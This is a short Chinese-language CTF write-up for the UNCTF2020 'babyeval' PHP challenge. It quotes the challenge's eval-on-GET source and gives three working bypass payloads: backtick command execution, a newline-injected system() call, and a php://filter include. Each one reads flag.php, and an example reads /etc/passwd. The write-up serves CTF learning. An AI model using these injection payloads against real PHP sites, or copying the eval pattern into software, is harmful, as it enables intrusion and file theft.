UNCTF2020-WEB:babyeval(php执⾏运算符php过滤括号换⾏
符绕过正则)
php执⾏运算符
代码:
<?php
echo `base64 /etc/passwd`;
>
上⾯的代码使⽤了反引号,PHP 将尝试将反引号中的内容作为 shell 命令来执⾏,并将其输出信息返回(即,可以赋给⼀个变量⽽不是简单地丢弃到标准输出)
如果过滤了括号可以使⽤执⾏运算符去绕过进⾏输出
题⽬源码:
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
>
exp1:php执⾏运算符
GET /?a=echo `base64 flag.php`
exp2:换⾏符绕过(%0a)
GET /?a=system(%27%0acat%20f*%20|%20base64%27);
exp3:利⽤include函数加php伪协议
GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;
参考:www.php/manual/zh/ution.php
fwp/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF
>php如何运行代码

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。